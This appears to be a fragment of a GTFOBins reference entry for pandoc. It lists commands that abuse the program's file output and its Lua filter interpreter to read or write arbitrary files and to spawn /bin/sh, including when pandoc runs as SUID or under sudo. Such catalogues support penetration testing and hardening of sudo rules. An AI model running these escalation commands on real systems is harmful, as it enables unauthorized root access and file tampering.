code |
LFILE=file_to_read
pandoc -t plain "$LFILE"
|
|
|
code |
LFILE=file_to_write
echo DATA | pandoc -t plain -o "$LFILE"
|
|
|
description |
code |
Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply. |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
pandoc -L $TF /dev/null
|
|
|
code |
LFILE=file_to_write
echo DATA | ./pandoc -t plain -o "$LFILE"
|
|
|
description |
code |
Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply. |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
./pandoc -L $TF /dev/null
|
|
|
description |
code |
Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply. |
TF=$(mktemp)
echo 'os.execute("/bin/sh")' >$TF
sudo pandoc -L $TF /dev/null
|
|
|